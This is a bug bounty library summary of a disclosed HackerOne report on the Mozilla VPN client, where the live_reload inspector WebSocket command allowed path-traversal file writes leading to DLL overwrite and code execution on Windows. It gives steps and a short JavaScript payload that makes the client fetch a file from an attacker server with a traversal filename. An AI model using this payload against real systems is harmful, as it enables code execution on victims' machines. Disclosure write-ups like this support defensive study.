# Mozilla VPN Clients: RCE via file write and path traversal

Mozilla VPN's live_reload inspector command concatenated attacker-controlled filename into temp path, enabling path traversal file write and RCE on Windows.

- Payout: $6,000
- Severity: high
- Program: Mozilla
- Found by: trein
- Disclosed: 2025-07-29
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/2995025
- Library page: https://bugbountylibrary.com/r/h1%3A2995025
- Tags: area:os domain:desktop impact:integrity impact:rce kind:bounty platform:hackerone sev:high tech:websocket technique:incomplete-fix technique:source-review vuln:path-traversal vuln:rce

**Target:** Mozilla VPN client inspector live_reload WebSocket command
**Root cause:** InspectorHotreloader::fetchAndAnnounce() builds temp_path by concatenating m_qml_folder with path.fileName() without sanitizing traversal sequences, so a remote filename containing ..\..\ escapes the hot_reload directory.
**Steps:**
1. Enable developer mode: open Help menu, click 'Help' title 6 times, check 'Use Staging Servers', restart client
2. Host attacker HTML that opens `ws://localhost:8765/` and sends `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`
3. Victim opens the attacker page; client downloads file and writes to C:\Users\user\AppData\Local\Mozilla instead of C:\Users\user\AppData\Local\Mozilla\Mozilla VPN\hot_reload
4. Overwrite a DLL loaded by the client to achieve code execution
**How found:** After prior report #2920675 was resolved, researcher re-reviewed all inspector commands and noticed live_reload accepts remote files; reading fetchAndAnnounce() showed temp_path is a raw concatenation of folder and filename, prompting traversal test.
**Exploitation:** Attacker hosts a page that connects to the local inspector WebSocket on port 8765 and issues live_reload with a traversal filename; the client fetches the remote file and writes it outside the intended temp folder, allowing overwrite of a DLL for RCE. Requires developer mode with staging servers enabled and victim opening the page.
**Escalation:** Arbitrary file write outside temp dir chained to DLL overwrite for code execution.
**Insight:** When a fix lands for one inspector/debug command, audit sibling commands in the same handler for the same class of flaw; debug features that fetch remote URLs into local paths are prime traversal targets, and Windows accepts backslash traversal.

## Proof of concept (copied exactly from the original report)

**WebSocket payload with path traversal filename**

```
payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`

    ws.onopen = function() {
        ws.send(payload);
```

